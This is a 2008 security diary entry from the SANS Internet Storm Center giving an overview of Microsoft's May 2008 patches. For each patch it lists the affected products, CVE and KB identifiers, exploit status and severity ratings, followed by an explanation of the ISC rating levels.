Last Updated: 2008-05-13 17:59:16 UTC
by Swa Frantzen (Version: 1)
0 comment(s) digg_url = 'http://isc.sans.org/diary.html?storyid=4411&rss'; digg_title = 'May 2008 black tuesday overview'; digg_skin='compact'; digg_topic = 'security';

Overview of the May 2008 Microsoft patches and their status.

# Affected Contra Indications Known Exploits Microsoft rating ISC rating(*)
clients servers
MS08-026 Multiple vulnerabilities allow code execution when opening a malicious file. Files opened with word and edited with word in outlook are of particular concern.
Replaces MS08-009.
Office

CVE-2008-1091
CVE-2008-1434
KB 951207 No publicly known exploits Critical Critical Important
MS08-027 The fixed vulnerability is an input validation failure leading to memory corruption and code execution.
Replaces MS08-012 and MS07-037.
Publisher

CVE-2008-0119
KB 951208
No publicly known exploits Critical Critical Important
MS08-028 The fixed vulnerability is an input validation failure leading to a buffer overflow and allowing code execution.
Jet database engine

CVE-2007-6026
KB 950749

SA 950627
Actively exploited Critical PATCH NOW Important
MS08-029

Microsoft onecare, antigen, defender and forefront use the malwware protection engine. It suffers from multiple input validation failures leading to a Denial of Service.

Microsoft malware protection engine

CVE-2008-1437
CVE-2008-1438

KB 952044
No publicly known exploits Moderate Less Urgent Important

 

We will update issues on this page as they evolve.
We appreciate updates
US based customers can call Microsoft for free patch related support on 1-866-PCSAFETY
(*): ISC rating
  • We use 4 levels:
    • PATCH NOW: Typically used where we see immediate danger of exploitation. Typical environments will want to deploy these patches ASAP. Workarounds are typically not accepted by users or are not possible. This rating is often used when typical deployments make it vulnerable and exploits are being used or easy to obtain or make.
    • Critical: Anything that needs little to become "interesting" for the dark side. Best approach is to test and deploy ASAP. Workarounds can give more time